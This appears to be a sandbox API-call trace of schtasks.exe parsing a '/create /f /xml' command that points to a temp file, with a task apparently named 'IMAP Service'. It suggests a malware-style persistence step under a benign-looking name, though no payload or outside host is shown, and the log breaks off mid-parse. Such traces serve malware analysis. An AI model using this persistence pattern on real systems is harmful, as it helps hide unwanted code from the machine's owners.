[0175.863] lstrlenW (lpString="IMAP Service") returned 12
[0175.863] StrChrIW (lpStart="IMAP Service", wMatch=0x3a) returned 0x0
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] SetLastError (dwErrCode=0x0)
[0175.863] lstrlenW (lpString="IMAP Service") returned 12
[0175.863] SetLastError (dwErrCode=0x0)
[0175.863] SetLastError (dwErrCode=0x0)
[0175.863] lstrlenW (lpString="/xml") returned 4
[0175.863] lstrlenW (lpString="-/") returned 2
[0175.863] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.863] lstrlenW (lpString="?") returned 1
[0175.863] lstrlenW (lpString="?") returned 1
[0175.863] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.863] lstrlenW (lpString="xml") returned 3
[0175.863] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.863] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3
[0175.863] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.863] lstrlenW (lpString="|?|") returned 3
[0175.863] lstrlenW (lpString="|xml|") returned 5
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] lstrlenW (lpString="create") returned 6
[0175.864] lstrlenW (lpString="create") returned 6
[0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] lstrlenW (lpString="xml") returned 3
[0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8
[0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.864] lstrlenW (lpString="|create|") returned 8
[0175.864] lstrlenW (lpString="|xml|") returned 5
[0175.864] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0
[0175.864] SetLastError (dwErrCode=0x490)
[0175.864] lstrlenW (lpString="delete") returned 6
[0175.864] lstrlenW (lpString="delete") returned 6
[0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] lstrlenW (lpString="xml") returned 3
[0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|delete|") returned 8
[0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.864] lstrlenW (lpString="|delete|") returned 8
[0175.864] lstrlenW (lpString="|xml|") returned 5
[0175.864] StrStrIW (lpFirst="|delete|", lpSrch="|xml|") returned 0x0
[0175.864] SetLastError (dwErrCode=0x490)
[0175.864] lstrlenW (lpString="query") returned 5
[0175.864] lstrlenW (lpString="query") returned 5
[0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] lstrlenW (lpString="xml") returned 3
[0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|query|") returned 7
[0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.864] lstrlenW (lpString="|query|") returned 7
[0175.864] lstrlenW (lpString="|xml|") returned 5
[0175.864] StrStrIW (lpFirst="|query|", lpSrch="|xml|") returned 0x0
[0175.864] SetLastError (dwErrCode=0x490)
[0175.864] lstrlenW (lpString="change") returned 6
[0175.864] lstrlenW (lpString="change") returned 6
[0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] lstrlenW (lpString="xml") returned 3
[0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|change|") returned 8
[0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.864] lstrlenW (lpString="|change|") returned 8
[0175.864] lstrlenW (lpString="|xml|") returned 5
[0175.864] StrStrIW (lpFirst="|change|", lpSrch="|xml|") returned 0x0
[0175.864] SetLastError (dwErrCode=0x490)
[0175.864] lstrlenW (lpString="run") returned 3
[0175.864] lstrlenW (lpString="run") returned 3
[0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] lstrlenW (lpString="xml") returned 3
[0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|run|") returned 5
[0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.864] lstrlenW (lpString="|run|") returned 5
[0175.864] lstrlenW (lpString="|xml|") returned 5
[0175.865] StrStrIW (lpFirst="|run|", lpSrch="|xml|") returned 0x0
[0175.865] SetLastError (dwErrCode=0x490)
[0175.865] lstrlenW (lpString="end") returned 3
[0175.865] lstrlenW (lpString="end") returned 3
[0175.865] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.865] lstrlenW (lpString="xml") returned 3
[0175.865] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.865] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|end|") returned 5
[0175.865] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.865] lstrlenW (lpString="|end|") returned 5
[0175.865] lstrlenW (lpString="|xml|") returned 5
[0175.865] StrStrIW (lpFirst="|end|", lpSrch="|xml|") returned 0x0
[0175.865] SetLastError (dwErrCode=0x490)
[0175.865] lstrlenW (lpString="showsid") returned 7
[0175.865] lstrlenW (lpString="showsid") returned 7
[0175.865] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.865] lstrlenW (lpString="xml") returned 3
[0175.865] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.865] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|showsid|") returned 9
[0175.865] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5
[0175.865] lstrlenW (lpString="|showsid|") returned 9
[0175.865] lstrlenW (lpString="|xml|") returned 5
[0175.865] StrStrIW (lpFirst="|showsid|", lpSrch="|xml|") returned 0x0
[0175.865] SetLastError (dwErrCode=0x490)
[0175.865] SetLastError (dwErrCode=0x490)
[0175.865] SetLastError (dwErrCode=0x0)
[0175.865] lstrlenW (lpString="/xml") returned 4
[0175.865] StrChrIW (lpStart="/xml", wMatch=0x3a) returned 0x0
[0175.865] SetLastError (dwErrCode=0x490)
[0175.865] SetLastError (dwErrCode=0x0)
[0175.865] lstrlenW (lpString="/xml") returned 4
[0175.865] SetLastError (dwErrCode=0x0)
[0175.865] SetLastError (dwErrCode=0x0)
[0175.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.865] lstrlenW (lpString="-/") returned 2
[0175.865] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0
[0175.865] SetLastError (dwErrCode=0x490)
[0175.865] SetLastError (dwErrCode=0x490)
[0175.865] SetLastError (dwErrCode=0x0)
[0175.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.865] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp"
[0175.865] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.865] _memicmp (_Buf1=0x4e4c68, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.865] _memicmp (_Buf1=0x4e4c98, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.865] SetLastError (dwErrCode=0x7a)
[0175.865] SetLastError (dwErrCode=0x0)
[0175.865] SetLastError (dwErrCode=0x0)
[0175.865] lstrlenW (lpString="C") returned 1
[0175.866] SetLastError (dwErrCode=0x490)
[0175.866] SetLastError (dwErrCode=0x0)
[0175.866] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59
[0175.866] SetLastError (dwErrCode=0x0)
[0175.867] SetLastError (dwErrCode=0x0)
[0175.867] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
[0175.867] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
[0175.867] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
[0175.867] VerifyVersionInfoW (in: lpVersionInformation=0x14cd50, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x14cd50) returned 1
[0175.867] SetLastError (dwErrCode=0x0)
[0175.867] lstrlenW (lpString="create") returned 6
[0175.867] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0
[0175.867] SetLastError (dwErrCode=0x490)
[0175.867] SetLastError (dwErrCode=0x0)
[0175.867] lstrlenW (lpString="create") returned 6
[0175.867] _memicmp (_Buf1=0x4e4b18, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.867] SetLastError (dwErrCode=0x0)
[0175.867] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e59c0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20
[0175.867] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744
[0175.868] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x4e5bd0 | out: lpData=0x4e5bd0) returned 1
[0175.868] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14ce58, puLen=0x14ce5c | out: lplpBuffer=0x14ce58*=0x4e5f6c, puLen=0x14ce5c) returned 1
[0175.868] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.868] _vsnwprintf (in: _Buffer=0x4e59c0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x14ce40 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37
[0175.868] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x14ce68, puLen=0x14ce64 | out: lplpBuffer=0x14ce68*=0x4e5d98, puLen=0x14ce64) returned 1
[0175.868] lstrlenW (lpString="schtasks.exe") returned 12
[0175.868] lstrlenW (lpString="schtasks.exe") returned 12
[0175.868] lstrlenW (lpString=".EXE") returned 4
[0175.868] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe"
[0175.868] lstrlenW (lpString="schtasks.exe") returned 12
[0175.868] lstrlenW (lpString=".EXE") returned 4
[0175.868] lstrlenW (lpString="schtasks") returned 8
[0175.868] lstrlenW (lpString="/create") returned 7
[0175.868] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.868] _vsnwprintf (in: _Buffer=0x4e59c0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x14ce40 | out: _Buffer="schtasks /create") returned 16
[0175.868] _memicmp (_Buf1=0x4e4bf0, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.868] _memicmp (_Buf1=0x4e4c08, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.868] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x4e6658, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17
[0175.868] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23
[0175.868] _vsnwprintf (in: _Buffer=0x4e65b0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x14ce44 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37
[0175.868] SetLastError (dwErrCode=0x0)
[0175.868] GetThreadLocale () returned 0x409
[0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.868] lstrlenW (lpString="create") returned 6
[0175.868] GetThreadLocale () returned 0x409
[0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.868] lstrlenW (lpString="?") returned 1
[0175.868] GetThreadLocale () returned 0x409
[0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.868] lstrlenW (lpString="s") returned 1
[0175.868] GetThreadLocale () returned 0x409
[0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.868] lstrlenW (lpString="u") returned 1
[0175.868] GetThreadLocale () returned 0x409
[0175.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.868] lstrlenW (lpString="p") returned 1
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="ru") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="rp") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="sc") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="mo") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="d") returned 1
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="m") returned 1
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="i") returned 1
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="tn") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="tr") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="st") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="sd") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="ed") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="it") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="et") returned 2
[0175.869] GetThreadLocale () returned 0x409
[0175.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.869] lstrlenW (lpString="k") returned 1
[0175.869] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="du") returned 2
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="ri") returned 2
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="z") returned 1
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="f") returned 1
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="v1") returned 2
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="xml") returned 3
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="ec") returned 2
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="rl") returned 2
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="delay") returned 5
[0175.870] GetThreadLocale () returned 0x409
[0175.870] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.870] lstrlenW (lpString="np") returned 2
[0175.870] SetLastError (dwErrCode=0x0)
[0175.870] SetLastError (dwErrCode=0x0)
[0175.870] lstrlenW (lpString="/create") returned 7
[0175.870] lstrlenW (lpString="-/") returned 2
[0175.870] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.870] lstrlenW (lpString="create") returned 6
[0175.870] lstrlenW (lpString="create") returned 6
[0175.870] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.870] lstrlenW (lpString="create") returned 6
[0175.870] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.870] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8
[0175.870] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8
[0175.870] lstrlenW (lpString="|create|") returned 8
[0175.870] lstrlenW (lpString="|create|") returned 8
[0175.870] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|"
[0175.870] SetLastError (dwErrCode=0x0)
[0175.870] SetLastError (dwErrCode=0x0)
[0175.870] SetLastError (dwErrCode=0x0)
[0175.870] lstrlenW (lpString="/f") returned 2
[0175.870] lstrlenW (lpString="-/") returned 2
[0175.870] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.870] lstrlenW (lpString="create") returned 6
[0175.870] lstrlenW (lpString="create") returned 6
[0175.870] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.870] lstrlenW (lpString="f") returned 1
[0175.870] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.870] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|create|") returned 8
[0175.870] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.870] lstrlenW (lpString="|create|") returned 8
[0175.871] lstrlenW (lpString="|f|") returned 3
[0175.871] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0
[0175.871] SetLastError (dwErrCode=0x490)
[0175.871] lstrlenW (lpString="?") returned 1
[0175.871] lstrlenW (lpString="?") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] lstrlenW (lpString="f") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|?|") returned 3
[0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.871] lstrlenW (lpString="|?|") returned 3
[0175.871] lstrlenW (lpString="|f|") returned 3
[0175.871] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0
[0175.871] SetLastError (dwErrCode=0x490)
[0175.871] lstrlenW (lpString="s") returned 1
[0175.871] lstrlenW (lpString="s") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] lstrlenW (lpString="f") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|s|") returned 3
[0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.871] lstrlenW (lpString="|s|") returned 3
[0175.871] lstrlenW (lpString="|f|") returned 3
[0175.871] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0
[0175.871] SetLastError (dwErrCode=0x490)
[0175.871] lstrlenW (lpString="u") returned 1
[0175.871] lstrlenW (lpString="u") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] lstrlenW (lpString="f") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|u|") returned 3
[0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.871] lstrlenW (lpString="|u|") returned 3
[0175.871] lstrlenW (lpString="|f|") returned 3
[0175.871] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0
[0175.871] SetLastError (dwErrCode=0x490)
[0175.871] lstrlenW (lpString="p") returned 1
[0175.871] lstrlenW (lpString="p") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] lstrlenW (lpString="f") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|p|") returned 3
[0175.871] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.871] lstrlenW (lpString="|p|") returned 3
[0175.871] lstrlenW (lpString="|f|") returned 3
[0175.871] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0
[0175.871] SetLastError (dwErrCode=0x490)
[0175.871] lstrlenW (lpString="ru") returned 2
[0175.871] lstrlenW (lpString="ru") returned 2
[0175.871] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.871] lstrlenW (lpString="f") returned 1
[0175.871] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ru|") returned 4
[0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.872] lstrlenW (lpString="|ru|") returned 4
[0175.872] lstrlenW (lpString="|f|") returned 3
[0175.872] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0
[0175.872] SetLastError (dwErrCode=0x490)
[0175.872] lstrlenW (lpString="rp") returned 2
[0175.872] lstrlenW (lpString="rp") returned 2
[0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] lstrlenW (lpString="f") returned 1
[0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|rp|") returned 4
[0175.872] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3
[0175.872] lstrlenW (lpString="|rp|") returned 4
[0175.872] lstrlenW (lpString="|f|") returned 3
[0175.872] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0
[0175.872] SetLastError (dwErrCode=0x490)
[0175.872] lstrlenW (lpString="sc") returned 2
[0175.872] lstrlenW (lpString="sc") returned 2
[0175.872] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.872] lstrlenW (lpString="f") returned 1
[0175.872] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
